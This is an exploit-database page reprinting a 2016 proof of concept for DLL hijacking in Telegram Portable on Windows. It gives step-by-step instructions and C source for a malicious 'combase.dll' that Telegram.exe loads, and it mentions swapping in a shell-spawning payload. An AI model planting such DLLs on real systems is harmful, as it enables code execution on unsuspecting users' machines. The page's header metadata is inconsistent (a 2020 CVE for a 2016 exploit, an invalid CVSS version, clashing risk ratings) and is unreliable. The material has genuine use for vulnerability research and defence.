Advertisement






Telegram Portable DLL Hijacking (combase.dll )

CVE Category Price Severity
CVE-2020-10261 CWE-426 $5,000 High
Author Risk Exploitation Type Date
Unknown Critical Local 2016-08-29
CPE
cpe:cpe:/a:telegram:telegram
CVSS EPSS EPSSP
CVSS:4.2/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016080256

Below is a copy:

Telegram Portable DLL Hijacking  (combase.dll )# Exploit Title: Telegram Portable DLL Hijacking  (combase.dll )
# Date: 29-8-2016
# Author: Ashiyane Digital Security Team
# Vendor Homepage: https://telegram.org/
# Software Link:
  https://telegram.org/dl/desktop/win_portable
# Tested on: Windows 7
#######################################################################################

Vuln DLL: combase.dll

Telegram.exe will search for an load any DLL named "combase.dll".
If an attacker can place the DLL in a location
where victim open Telegram.exe it will load and run the attackers DLL
and code.
also can generate a msfpayload DLL and spawn a shell, for example.
#######################################################################################
 Exploit :

 1- Save and compile below C code as 'combase.dll' to create vuln DLL

 2- Place 'combase.dll' on remote share or other directory like "downloads"

 3- Open Telegram.exe :DLL

 //gcc test.c -o combase.dll -shared
 //this dll show a message box
 #include <windows.h>
 #define DllExport __declspec (dllexport)

 BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
 {
   dll_hijack();
   return 0;
 }

 int dll_hijack()
 {
   MessageBox(0, "DLL Hijacking!", "DLL Message", MB_OK);
   return 0;
 }
#################

Discovered By : Amir.ght

#################



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum